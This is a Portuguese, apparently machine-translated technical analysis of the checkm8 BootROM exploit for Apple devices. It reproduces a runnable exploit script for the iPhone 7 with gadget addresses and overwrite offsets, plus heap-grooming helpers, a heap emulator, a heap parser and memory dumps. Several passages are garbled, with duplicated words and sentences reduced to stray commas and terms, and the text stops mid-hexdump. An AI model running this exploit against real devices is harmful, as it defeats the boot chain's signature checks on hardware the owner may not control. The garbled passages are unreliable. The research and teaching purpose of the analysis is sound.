Análise técnica da exploração checkm8


Com uma alta probabilidade, você já ouviu falar da sensacional exploração checkm8 , que usa uma vulnerabilidade irrecuperável no BootROM maioria dos iDevices, incluindo o iPhone X Neste artigo, forneceremos uma análise técnica da exploração e examinaremos as causas da vulnerabilidade. Qualquer pessoa interessada - bem-vindo sob o corte!


Você pode ler a versão em inglês do artigo aqui .


1. Introdução


Primeiro, descreveremos brevemente o processo de inicialização do iDevice e descobriremos o lugar que o BootROM ocupa nele (também pode ser chamado de SecureROM ) e por que é necessário. Informações bastante detalhadas sobre isso estão aqui . O processo de inicialização simplificado pode ser representado da seguinte maneira:



BootROM é a primeira coisa que o processador executa quando o dispositivo está ligado. As principais tarefas do BootROM :


  • Inicialização da plataforma (configurando os registros necessários da plataforma, inicializando a CPU , etc.)
  • Verificação e transferência de controle para o próximo estágio de carregamento
    • BootROM suporta a análise de imagens IMG3/IMG4
    • BootROM tem acesso à chave GID para descriptografar imagens
    • Para verificar imagens, a chave pública da Apple é incorporada no BootROM e há a funcionalidade necessária para trabalhar com criptografia
  • Recuperando um dispositivo se não for possível fazer o download adicional ( Device Firmware Update , DFU )

BootROM tamanho muito pequeno e pode ser chamado de versão iBoot do iBoot , pois eles compartilham a maior parte do código do sistema e da biblioteca. No entanto, diferentemente do iBoot , o BootROM não pode ser atualizado. Ele é colocado na memória interna somente leitura ao fabricar o dispositivo. BootROM é a raiz do hardware da cadeia de inicialização confiável. As vulnerabilidades nele podem permitir obter controle sobre o processo adicional de download e executar código não assinado no dispositivo.



O aparecimento de checkm8


O exploit checkm8 foi adicionado ao utilitário ipwndfu pelo seu autor axi0mX em 27 de setembro de 2019. Em seguida, ele anunciou uma atualização em seu twitter, acompanhando o tópico com uma descrição da exploração e informações adicionais. Você pode descobrir a partir do tópico que a vulnerabilidade de use-after-free no código USB foi encontrada pelo autor durante o iBoot diferenciação iBoot para iOS 12 beta no verão de 2018. Como observado anteriormente, o BootROM e o iBoot possuem muitos códigos comuns, incluindo o código para USB , e é por isso que essa vulnerabilidade também é relevante para o BootROM .


Também resulta do código de exploração que a vulnerabilidade é explorada no DFU . Este é um modo no qual uma imagem assinada pode ser transferida para o dispositivo via USB , que será posteriormente baixada. Pode ser necessário, por exemplo, restaurar o dispositivo se a atualização não for bem-sucedida.


No mesmo dia, littlelailo relatou que havia encontrado essa vulnerabilidade em março e publicou sua descrição no arquivo apollo.txt . A descrição correspondeu ao que acontece no código checkm8 , mas não esclarece completamente os detalhes da exploração. Portanto, decidimos escrever este artigo e descrever todos os detalhes da operação até a execução da carga útil no BootROM inclusive.


Realizamos uma análise de exploração com base nos materiais mencionados anteriormente, bem como no código-fonte do iBoot/SecureROM vazou em fevereiro de 2018. Também usamos dados obtidos experimentalmente em nosso dispositivo de teste - iPhone 7 ( CPID:8010 ). Usando o checkm8 removemos os SecureROM do SecureROM e SecureRAM , o que nos ajudou na análise.


Conhecimento essencial sobre USB


A vulnerabilidade detectada está no código USB , portanto, é necessário algum conhecimento sobre essa interface. Você pode ler a especificação completa aqui , mas é bastante volumosa. Um excelente material, que é mais do que suficiente para uma melhor compreensão, é o USB em um NutShell . Aqui damos apenas o mais necessário.


Existem vários tipos de transferência de dados USB . DFU usa apenas o modo Control Transfers (você pode ler sobre isso aqui ). Cada transação neste modo consiste em três estágios:



  • Setup Stage - nesse estágio, é enviado um pacote de SETUP , que consiste nos seguintes campos:
    • bmRequestType - descreve a direção, tipo e destinatário da solicitação
    • bRequest - determina qual solicitação é feita
    • wValue , wIndex - dependendo da solicitação, eles podem ser interpretados de maneira diferente
    • wLength - comprimento dos dados recebidos / transmitidos no Data Stage
  • Data Stage - um estágio opcional no qual a transferência de dados ocorre. Dependendo do pacote SETUP do estágio anterior, isso pode estar enviando dados do host para o dispositivo ( OUT ) ou vice-versa ( IN ). Os dados são enviados em pequenas porções (no caso do Apple DFU , são 0x40 bytes).
    • Quando o host deseja transferir o próximo lote de dados, ele envia um token OUT , após o qual os dados são enviados.
    • Quando o host está pronto para receber dados do dispositivo, ele envia um token IN , em resposta ao qual o dispositivo envia dados.
  • Status Stage - o estágio final em que o status de toda a transação é relatado.
    • Para solicitações de OUT , o host envia um token de entrada, em resposta ao qual o dispositivo deve enviar um pacote de dados de tamanho zero.
    • Para solicitações IN , o host envia um token OUT e um pacote de dados de tamanho zero.

OUT consultas OUT e IN são mostradas no diagrama abaixo. Removemos intencionalmente ACK , NACK e outros pacotes de handshake do esquema de descrição e interação, pois eles não desempenham um papel especial na própria exploração.



Análise apollo.txt


Iniciamos a análise analisando a vulnerabilidade no documento apollo.txt . Descreve o algoritmo do modo DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Quando o usb é iniciado para obter uma imagem através do dfu, o dfu registra uma interface para lidar com todos os comandos e aloca um buffer para entrada e saída
  2. Se você enviar dados para o dfu, o pacote de instalação é tratado pelo código principal, que então chama o código da interface
  3. o código da interface verifica se wLength é menor que o tamanho do buffer de saída e, se for o caso, atualiza um ponteiro passado como argumento com um ponteiro para o buffer de saída.
  4. em seguida, retorna wLength, que é o comprimento que deseja receber no buffer
  5. o código principal usb atualiza uma var global com o comprimento e se prepara para receber os pacotes de dados
  6. se um pacote de dados é recebido, ele é gravado no buffer de saída de entrada por meio do ponteiro que foi passado como argumento e outra variável global é usada para acompanhar quantos bytes já foram recebidos
  7. se todos os dados foram recebidos, o código específico dfu é chamado novamente e, em seguida, copia o conteúdo do buffer de saída para o local da memória de onde a imagem é inicializada posteriormente
  8. depois disso, o código usb redefine todas as variáveis ​​e passa a manipular novos pacotes
  9. se o dfu sair, o buffer de saída será liberado e se a análise da imagem falhar, o bootrom reentra no dfu

Primeiro, comparamos as etapas descritas com o código-fonte do iBoot . Como não podemos usar fragmentos de código fonte vazado no artigo, mostraremos o pseudocódigo obtido pela engenharia reversa SecureROM do nosso iPhone 7 na IDA . Você pode encontrar facilmente o código fonte do iBoot e navegar nele.


Quando o modo DFU é inicializado, um buffer de IO é alocado e uma interface USB é registrada para processar solicitações ao DFU :



Quando um pacote de solicitação SETUP chega ao DFU , o manipulador de interface correspondente é chamado. No caso de uma execução bem-sucedida da solicitação de OUT (por exemplo, durante a transferência de imagens), o manipulador deve retornar o endereço do buffer de E / IO para a transação e o tamanho dos dados que espera receber pelo ponteiro. Nesse caso, o endereço do buffer e o tamanho dos dados esperados são armazenados em variáveis ​​globais.



O manipulador de interface para DFU é mostrado na captura de tela abaixo. Se a solicitação estiver correta, o endereço do buffer de IO alocado no estágio de inicialização do DFU e o comprimento dos dados esperados, retirados do pacote SETUP , serão retornados pelo ponteiro.



Durante o Data Stage cada parte dos dados é gravada no buffer de IO , após o qual o endereço do buffer de IO é alterado e o contador de dados recebidos é atualizado. Depois de receber todos os dados esperados, o manipulador de dados da interface é chamado e o estado de transmissão global é limpo.



No manipulador de dados do DFU , os dados recebidos são movidos para a área de memória da qual o download continuará. A julgar pelo código fonte do iBoot , essa área de memória na Apple é chamada INSECURE_MEMORY .



Ao sair do modo DFU , o buffer de IO alocado anteriormente será liberado. Se a imagem foi recebida com sucesso no modo DFU , ela será verificada e carregada. Se, durante a operação do modo DFU , ocorreu algum erro ou é impossível carregar a imagem resultante, o DFU será reinicializado e tudo será reiniciado novamente.


No algoritmo descrito, está a vulnerabilidade de use-after-free . Se na inicialização, enviar um pacote SETUP e concluir a transação ignorando o Data Stage , o estado global permanecerá inicializado após a reinserção no ciclo DFU , e poderemos gravar no endereço do buffer de IO alocado na iteração DFU anterior.


Tendo lidado com a vulnerabilidade de use-after-free , nos perguntamos: como posso substituir algo durante a próxima iteração do DFU ? Afinal, antes de reinicializar o DFU todos os recursos alocados anteriormente são liberados e o local da memória na nova iteração deve ser exatamente o mesmo. Acontece que existe outro erro interessante e bastante bonito de vazamento de memória que permite explorar a vulnerabilidade de use-after-free , que discutiremos mais adiante.


Análise Checkm8


Prosseguimos diretamente para a análise da exploração checkm8 . Por uma questão de simplicidade, analisaremos uma versão modificada da exploração do iPhone 7 , na qual o código associado a outras plataformas foi removido, a sequência e os tipos de solicitações de USB foram alterados sem perder a exploração. Também nesta versão, o processo de construção da carga útil é removido. Ele pode ser encontrado no arquivo checkm8.py original. Compreender as diferenças entre as versões para outros dispositivos não deve ser difícil.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 trabalho do checkm8 pode ser dividido em várias etapas:


  1. Preparação de heap feng-shui ( heap feng-shui )
  2. Alocação e liberação do buffer de IO sem limpar o estado global
  3. Substituindo usb_device_io_request na pilha com use-after-free
  4. Posicionamento da carga útil
  5. Execução da callback-chain chamada
  6. Execução de shellcode

Considere cada um dos estágios em detalhes.


1. Preparação da pilha (heap feng-shui)


Parece-nos que este é o estágio mais interessante e prestamos atenção especial a ele.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Esta etapa é necessária para alcançar um estado de heap conveniente para operação use-after-free . Para começar, considere as chamadas stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer é um invólucro sobre device.ctrlTransfer ignorando quaisquer exceções que ocorreram durante a execução da solicitação. libusb1_async_ctrl_transfer - um wrapper sobre a função libusb_submit_transfer do libusb para execução de consultas assíncronas.


Ambas as chamadas aceitam os seguintes parâmetros:


  • Instância do dispositivo
  • Dados para o pacote SETUP (a descrição deles está aqui ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Tamanho dos dados ( wLength ) ou Dados para o Data Stage
  • Tempo limite da solicitação

Os argumentos bmRequestType , bRequest , wValue e wIndex são comuns a todos os três tipos de consultas. Eles significam:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - direção do Data Stage do dispositivo para o host (dispositivo para host)
    • 0bX00XXXXX - tipo de solicitação padrão
    • 0bXXX00000 - receptor da solicitação - dispositivo
  • bRequest = 6 - solicitação de descritor ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - determina o tipo de descritor a ser recebido - string ( USB_DT_STRING )
    • wValueLow = 0x4 é o índice do descritor de cadeias, 4 corresponde ao número de série do dispositivo (nesse caso, a cadeia se parece com CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - identificador do idioma da string, seu valor não é importante para a operação e pode ser alterado.

Para qualquer uma dessas três solicitações, 0x30 bytes são alocados no heap para um objeto da seguinte estrutura:



Os campos mais interessantes desse objeto são callback e next .


  • callback - um ponteiro para uma função que será chamada quando a solicitação for concluída.
  • next - um ponteiro para o próximo objeto do mesmo tipo, necessário para solicitações de enfileiramento.

Um recurso importante da stall de chamadas é usar a execução assíncrona da solicitação com um tempo limite mínimo. Por esse motivo, se você tiver sorte, a solicitação será cancelada no nível do SO e permanecerá na fila de execução, e a transação não será concluída. Ao mesmo tempo, o dispositivo continuará aceitando todos os pacotes SETUP recebidos e, se necessário, os coloque na fila de execução. Mais tarde, usando experimentos com um USB no Arduino pudemos descobrir que, para uma operação bem-sucedida, o host deve enviar um pacote SETUP e um token IN , após o qual a transação deve ser cancelada por tempo limite. Esquematicamente, uma transação incompleta pode ser representada da seguinte maneira:



O restante dos pedidos diferem apenas em comprimento e apenas em um. O fato é que, para consultas padrão, existe um callback padrão semelhante a este:



O valor io_length é igual ao mínimo de wLength no pacote SETUP da solicitação e o comprimento original do descritor solicitado. Devido ao fato de o descritor ser longo o suficiente, podemos controlar com precisão o valor io_length dentro de seu comprimento. O valor de g_setup_request.wLength é igual ao valor de wLength último pacote SETUP , neste caso, 0xC1 .


Assim, na conclusão das consultas geradas usando as chamadas de stall e leak , a condição na função final de callback é satisfeita e usb_core_send_zlp() chamado. Essa chamada simplesmente cria um zero-length-packet e o adiciona à fila de execução. Isso é necessário para que a transação seja concluída corretamente no Status Stage .


A solicitação termina com uma chamada para a função usb_core_complete_endpoint_io , que primeiro chama o callback e libera a memória da solicitação. Ao mesmo tempo, a conclusão da solicitação pode ocorrer não apenas quando toda a transação for realmente concluída, mas também quando o USB redefinido. Assim que um sinal de redefinição USB for recebido, a fila de solicitações será ignorada e cada uma delas será concluída.


Devido à chamada seletiva para usb_core_send_zlp() , ignorando a fila de solicitações e liberando-as, é possível obter controle de heap suficiente para a operação use-after-free . Primeiro, vejamos o próprio ciclo de lançamento:



A fila de pedidos é limpa primeiro, depois os pedidos cancelados são usb_core_complete_endpoint_io e concluídos chamando usb_core_complete_endpoint_io . Ao mesmo tempo, solicitações selecionadas usando usb_core_send_zlp são colocadas em ep->io_head . Após a conclusão do procedimento de redefinição do USB , todas as informações sobre o terminal serão redefinidas, incluindo os io_tail e io_tail , e as solicitações de comprimento zero permanecerão no heap. Assim, você pode criar um pequeno pedaço no meio do restante da pilha. O diagrama abaixo mostra como isso acontece:



A pilha no SecureROM projetada de forma que uma nova área de memória seja alocada a partir de um pedaço livre adequado do menor tamanho. Ao criar uma pequena parte livre pelo método descrito acima, você pode afetar a alocação de memória durante a inicialização do USB e a alocação de io_buffer e solicitações.


Para um melhor entendimento, vamos descobrir quais solicitações de heap ocorrem durante a inicialização do DFU . Ao analisar o código fonte do iBoot e a engenharia reversa do iBoot SecureROM conseguimos obter a seguinte sequência:


    1. Alocação de vários descritores de string
      • 1.1 Nonce (tamanho 234 )
      • 1.2 Manufacturer ( 22 )
      • 1.3 Product ( 62 )
      • 1.4 Serial Number ( 198 )
      • 1.5 Configuration string ( 62 )

    1. Alocação associada à criação da tarefa do USB
      • 2.1 Estrutura da tarefa ( 0x3c0 )
      • 2.2 Tarefa de pilha ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Descritores de configuração
      • 4.1 High-Speed ( 25 )
      • 4.2 Full-Speed ( 25 )


Depois, há uma alocação de estruturas de solicitação. Se houver um pequeno pedaço no meio do espaço de heap, algumas alocações da primeira categoria irão para esse pedaço, e todas as outras alocações serão movidas, devido às quais podemos usb_device_io_request , referindo-se ao buffer antigo. Esquematicamente, isso pode ser representado da seguinte maneira:



Para calcular o viés necessário, decidimos simplesmente emular as alocações listadas acima, adaptando levemente o código fonte do heap do iBoot .


Emulação de heap do DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Programe a saída com 8 solicitações no estágio heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

O próximo usb_device_io_request estará no deslocamento 0x5c0 desde o início do buffer anterior, que corresponde ao código de exploração:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 